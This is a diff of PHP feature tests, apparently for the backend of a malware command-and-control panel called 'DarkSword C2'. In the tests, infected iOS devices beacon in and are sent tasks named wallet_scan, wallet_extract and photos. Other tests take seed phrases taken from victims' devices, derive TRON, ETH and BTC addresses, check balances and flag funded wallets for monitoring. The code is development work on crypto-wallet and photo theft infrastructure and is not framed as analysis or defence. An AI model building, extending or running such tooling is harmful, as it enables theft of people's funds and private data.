$first->json('command_id'); $this->assertNotEmpty($firstId); @@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase ])->assertOk()->assertJson(['type' => 'noop']); // After the 5s gap (simulated by deleting the Redis throttle key), the next - // beacon dispatches wallet_scan (second in FIFO from seed). + // beacon dispatches wallet_extract (second in FIFO from seed). $forgetThrottle(); $retry = $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'wallet_scan']); + ])->assertOk()->assertJson(['type' => 'wallet_extract']); $retryId = $retry->json('command_id'); $this->assertNotEmpty($retryId); $this->assertNotSame($firstId, $retryId); @@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase $this->postJson('/result', [ 'uuid' => $uuid, 'command_id' => $retryId, - 'filename' => 'wallet_scan_result.json', - 'category' => 'wallet_scan', + 'filename' => 'wallet_extract_result.json', + 'category' => 'wallet_extract', 'status' => 'success', ])->assertOk(); @@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->where('device_id', $uuid)->first(); $events = DeviceEvent::query()->where('device_id', $device->id)->get(); $this->assertSame(1, $events->count()); - $this->assertSame('wallet_scan', $events->first()->event_name); - $this->assertStringContainsString('wallet_scan', $events->first()->desc); - $this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc); + $this->assertSame('wallet_extract', $events->first()->event_name); + $this->assertStringContainsString('wallet_extract', $events->first()->desc); + $this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc); - // After a result + gap, the queue is empty (single-run: no auto-replenish). + // After a result + gap, the next default task is photos (not empty yet). $forgetThrottle(); $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'noop']); + ])->assertOk()->assertJson(['type' => 'photos']); } #[Test] @@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase { // New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list). // No "skip legacy" logic — all queued tasks are dispatched in order. - // Single-run: seed() only runs on new device creation, not on every beacon. - // When the queue is emptied by dequeue, it stays empty (no auto-replenish). + // seed() only runs on new device creation; addTask() does not start default rounds. $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, @@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_scan']); - // After the last task is dequeued, the queue is empty — single-run: no - // auto-replenish. seed() only runs on new device creation, not on - // every beacon/upsertDevice. + // After the last manually added task is dequeued, the queue stays empty: + // auto-replenish only applies to seed()'d default rounds, not addTask(). + $this->assertSame(0, $queue->queueLength($device)); + } + + #[Test] + public function beacon_replays_default_queue_three_rounds(): void + { + $uuid = self::DS_LHU; + $expected = []; + for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) { + array_push($expected, 'wallet_scan', 'wallet_extract', 'photos'); + } + + $dispatched = []; + foreach ($expected as $i => $type) { + if ($i > 0) { + $device = Device::query()->where('device_id', $uuid)->first(); + $this->assertNotNull($device); + Redis::del('ds:qt:'.$device->id); + } + $this->postJson('/beacon', [ + 'uuid' => $uuid, + 'status' => 'idle', + 'ios' => '18.6', + ])->assertOk()->assertJson(['type' => $type]); + $dispatched[] = $type; + } + + $device = Device::query()->where('device_id', $uuid)->first(); + $this->assertNotNull($device); + $queue = app(DsBeaconQueue::class); + $this->assertSame($expected, $dispatched); + $this->assertSame(0, $queue->queueLength($device)); + $this->assertSame(1, $queue->roundsRemaining($device)); + + Redis::del('ds:qt:'.$device->id); + $this->postJson('/beacon', [ + 'uuid' => $uuid, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'noop']); + $this->assertSame(0, $queue->roundsRemaining($device)); $this->assertSame(0, $queue->queueLength($device)); } diff --git a/tests/Feature/MnemonicAddressLinkTest.php b/tests/Feature/MnemonicAddressLinkTest.php index 7c348cd..2c96ecd 100644 --- a/tests/Feature/MnemonicAddressLinkTest.php +++ b/tests/Feature/MnemonicAddressLinkTest.php @@ -152,10 +152,31 @@ class MnemonicAddressLinkTest extends TestCase } #[Test] - public function derive_index_beyond_four_is_not_linked(): void + public function derive_index_nine_is_linked(): void + { + $device = $this->makeDevice('dev-link-4a'); + $tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 9); + + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => $tron, + 'chain_type' => 'TRON', + 'source' => 'imToken', + 'monitor' => 0, + ]); + $mnemonic = $this->storeMnemonic($device); + + $this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr)); + $addr->refresh(); + $this->assertSame($mnemonic->id, $addr->mnemonic_id); + $this->assertSame(9, $addr->derive_index); + } + + #[Test] + public function derive_index_beyond_nine_is_not_linked(): void { $device = $this->makeDevice('dev-link-4'); - $tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5); + $tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 10); $addr = WalletAddress::query()->create([ 'device_id' => $device->id, @@ -278,7 +299,7 @@ class MnemonicAddressLinkTest extends TestCase } #[Test] - public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void + public function backfill_skips_inactive_derived_addresses(): void { $device = Device::query()->create(['device_id' => 'dev-backfill-derive']); $mnemonic = new WalletMnemonic([ @@ -289,20 +310,10 @@ class MnemonicAddressLinkTest extends TestCase $mnemonic->save(); $this->artisan('coruna:link-mnemonics') - ->expectsOutputToContain('linked=0 discovered=3') + ->expectsOutputToContain('linked=0 discovered=0') ->assertSuccessful(); - $rows = WalletAddress::query() - ->where('mnemonic_id', $mnemonic->id) - ->orderBy('id') - ->get(); - $this->assertCount(3, $rows); - $this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all()); - $this->assertSame([ - self::TRON_0, - self::ETH_0, - '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA', - ], $rows->pluck('address')->all()); - $this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all()); + $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); } } diff --git a/tests/Feature/MnemonicWalletsTest.php b/tests/Feature/MnemonicWalletsTest.php index 8cd72c8..16d998f 100644 --- a/tests/Feature/MnemonicWalletsTest.php +++ b/tests/Feature/MnemonicWalletsTest.php @@ -8,6 +8,7 @@ use App\Models\Device; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\Chain\TronDriver; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; @@ -207,43 +208,12 @@ class MnemonicWalletsTest extends TestCase } #[Test] - public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void + public function wallets_discovers_activated_indexes_when_no_linked_addresses(): void { - config([ - 'coruna.tron.full_node' => 'https://api.trongrid.io', - 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', - 'coruna.eth.rpc_url' => 'https://ethereum.example', - 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', - 'coruna.btc.api_url' => 'https://mempool.example/api', + $this->fakeDiscoveryRpcs([ + 'tron' => ['TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'], ]); - Http::fake(function ($request) { - $url = $request->url(); - if (str_contains($url, '/wallet/getaccount')) { - return Http::response(['balance' => 5_000_000], 200); - } - if (str_contains($url, '/wallet/triggerconstantcontract')) { - return Http::response(['constant_result' => [dechex(0)]], 200); - } - if (str_contains($url, 'ethereum.example')) { - $body = $request->data(); - $method = $body['method'] ?? ''; - if ($method === 'eth_getBalance') { - return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); - } - if ($method === 'eth_call') { - return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); - } - } - if (str_contains($url, 'mempool.example')) { - return Http::response([ - 'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0], - ], 200); - } - - return Http::response([], 404); - }); - $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'dev-mn-discover']); $mnemonic = $this->storeMnemonic($device); @@ -255,13 +225,9 @@ class MnemonicWalletsTest extends TestCase ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') ->assertJsonPath('data.addresses.0.chain_type', 'TRON') ->assertJsonPath('data.addresses.0.trx', '5') - ->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94') - ->assertJsonPath('data.addresses.1.chain_type', 'ETH') - ->assertJsonPath('data.addresses.1.eth', '0') - ->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') - ->assertJsonPath('data.addresses.2.chain_type', 'BTC') - ->assertJsonPath('data.addresses.2.btc', '0') - ->assertJsonCount(3, 'data.addresses'); + ->assertJsonPath('data.addresses.0.active', true) + ->assertJsonPath('data.addresses.0.persisted', true) + ->assertJsonCount(1, 'data.addresses'); $this->assertDatabaseHas('wallet_addresses', [ 'device_id' => $device->id, @@ -269,40 +235,76 @@ class MnemonicWalletsTest extends TestCase 'mnemonic_id' => $mnemonic->id, 'derive_index' => 0, 'chain_type' => 'TRON', + 'monitor' => 1, ]); - $this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + $this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); } #[Test] - public function wallets_persists_index_zero_even_when_balances_are_zero(): void + public function wallets_persists_activated_index_within_first_three(): void { - config([ - 'coruna.tron.full_node' => 'https://api.trongrid.io', - 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', - 'coruna.eth.rpc_url' => 'https://ethereum.example', - 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', - 'coruna.btc.api_url' => 'https://mempool.example/api', + $tron2 = (new TronDriver)->deriveAddress( + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', + 2, + ); + $this->fakeDiscoveryRpcs([ + 'tron' => [$tron2], ]); - Http::fake(function ($request) { - $url = $request->url(); - if (str_contains($url, '/wallet/getaccount')) { - return Http::response(['balance' => 0], 200); - } - if (str_contains($url, '/wallet/triggerconstantcontract')) { - return Http::response(['constant_result' => ['0']], 200); - } - if (str_contains($url, 'ethereum.example')) { - return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); - } - if (str_contains($url, 'mempool.example')) { - return Http::response([ - 'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0], - ], 200); - } + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'dev-mn-index2']); + $mnemonic = $this->storeMnemonic($device); - return Http::response([], 404); - }); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.mnemonics.wallets', $mnemonic)) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.addresses.0.address', $tron2) + ->assertJsonPath('data.addresses.0.derive_index', 2) + ->assertJsonCount(1, 'data.addresses'); + + $this->assertDatabaseHas('wallet_addresses', [ + 'device_id' => $device->id, + 'address' => $tron2, + 'mnemonic_id' => $mnemonic->id, + 'derive_index' => 2, + ]); + $this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count()); + } + + #[Test] + public function wallets_skips_activated_index_beyond_first_three(): void + { + $tron3 = (new TronDriver)->deriveAddress( + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', + 3, + ); + $this->fakeDiscoveryRpcs([ + 'tron' => [$tron3], + ]); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'dev-mn-index3']); + $mnemonic = $this->storeMnemonic($device); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.mnemonics.wallets', $mnemonic)) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.addresses.0.active', false) + ->assertJsonPath('data.addresses.0.persisted', false) + ->assertJsonCount(3, 'data.addresses'); + + $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + $this->assertDatabaseMissing('wallet_addresses', [ + 'address' => $tron3, + ]); + } + + #[Test] + public function wallets_previews_inactive_index_zero_without_persisting(): void + { + $this->fakeDiscoveryRpcs([]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'dev-mn-empty']); @@ -314,16 +316,100 @@ class MnemonicWalletsTest extends TestCase ->assertJsonPath('code', 0) ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') ->assertJsonPath('data.addresses.0.chain_type', 'TRON') - ->assertJsonPath('data.addresses.0.trx', '0') + ->assertJsonPath('data.addresses.0.derive_index', 0) + ->assertJsonPath('data.addresses.0.active', false) + ->assertJsonPath('data.addresses.0.persisted', false) + ->assertJsonPath('data.addresses.0.id', null) ->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94') ->assertJsonPath('data.addresses.1.chain_type', 'ETH') - ->assertJsonPath('data.addresses.1.eth', '0') + ->assertJsonPath('data.addresses.1.active', false) ->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') ->assertJsonPath('data.addresses.2.chain_type', 'BTC') - ->assertJsonPath('data.addresses.2.btc', '0') + ->assertJsonPath('data.addresses.2.active', false) ->assertJsonCount(3, 'data.addresses'); - $this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count()); - $this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); + $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + } + + /** + * @param array{tron?: list, eth?: list, btc?: list} $activated + */ + private function fakeDiscoveryRpcs(array $activated): void + { + config([ + 'coruna.tron.full_node' => 'https://api.trongrid.io', + 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', + 'coruna.eth.rpc_url' => 'https://ethereum.example', + 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', + 'coruna.btc.api_url' => 'https://mempool.example/api', + ]); + + $tronOn = array_fill_keys($activated['tron'] ?? [], true); + $ethOn = []; + foreach ($activated['eth'] ?? [] as $addr) { + $ethOn[strtolower($addr)] = true; + } + $btcOn = array_fill_keys($activated['btc'] ?? [], true); + + Http::fake(function ($request) use ($tronOn, $ethOn, $btcOn) { + $url = $request->url(); + if (str_contains($url, '/wallet/getaccount')) { + $addr = (string) ($request->data()['address'] ?? ''); + if (isset($tronOn[$addr])) { + return Http::response([ + 'address' => $addr, + 'create_time' => 1, + 'balance' => 5_000_000, + ], 200); + } + + return Http::response([], 200); + } + if (str_contains($url, '/wallet/triggerconstantcontract')) { + return Http::response(['constant_result' => ['0']], 200); + } + if (str_contains($url, 'ethereum.example')) { + $body = $request->data(); + $method = $body['method'] ?? ''; + $target = strtolower((string) (($body['params'][0] ?? ''))); + if ($method === 'eth_call') { + $target = ''; + } + $hit = $target !== '' && isset($ethOn[$target]); + if (in_array($method, ['eth_getTransactionCount', 'eth_getBalance', 'eth_call'], true)) { + return Http::response([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'result' => $hit ? '0x1' : '0x0', + ], 200); + } + } + if (str_contains($url, 'mempool.example')) { + foreach (array_keys($btcOn) as $addr) { + if (str_contains($url, rawurlencode($addr)) || str_contains($url, $addr)) { + return Http::response([ + 'chain_stats' => [ + 'tx_count' => 1, + 'funded_txo_count' => 1, + 'funded_txo_sum' => 100_000, + 'spent_txo_sum' => 0, + ], + ], 200); + } + } + + return Http::response([ + 'chain_stats' => [ + 'tx_count' => 0, + 'funded_txo_count' => 0, + 'funded_txo_sum' => 0, + 'spent_txo_sum' => 0, + ], + ], 200); + } + + return Http::response([], 404); + }); } }